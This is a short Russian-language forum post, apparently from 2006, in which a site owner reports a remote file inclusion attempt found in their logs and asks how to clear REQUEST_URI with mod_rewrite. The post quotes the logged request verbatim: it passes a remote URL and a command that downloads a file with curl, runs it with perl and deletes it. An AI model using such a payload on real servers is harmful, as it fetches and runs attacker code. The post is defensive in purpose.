Новости | FAQ | Авторы | Документация | В действии | Библиотека |
Инструменты | Полезные ссылки | Хостинги | Скачать | Примеры | Форум |
Pravas 24.01.2006 15:16
В логах обнаружил, что кто-то странно долбится на сайт, подменяя переменные. Пример. Есть страница http://сайт/catalog.php?cat=X, а вместо этого X получаем: catalog.php?cat=http://www.s0l4r1sr0x.com/tool.gif?&cmd=cd%20/tmp/;curl%20-O%20http://www.awcorg.us/images/banners/sess3023_;perl%20sess3023_;rm%20-rf%20sess3023*!!! О как. Пытаюсь сделать mod'ом так, чтобы при таких зюках отображалась главная страница - получилось, но у юзера в адресной строке остается то, что он запросил. Как мне обнулить REQUEST_URI? Вот что у меня в .htaccess: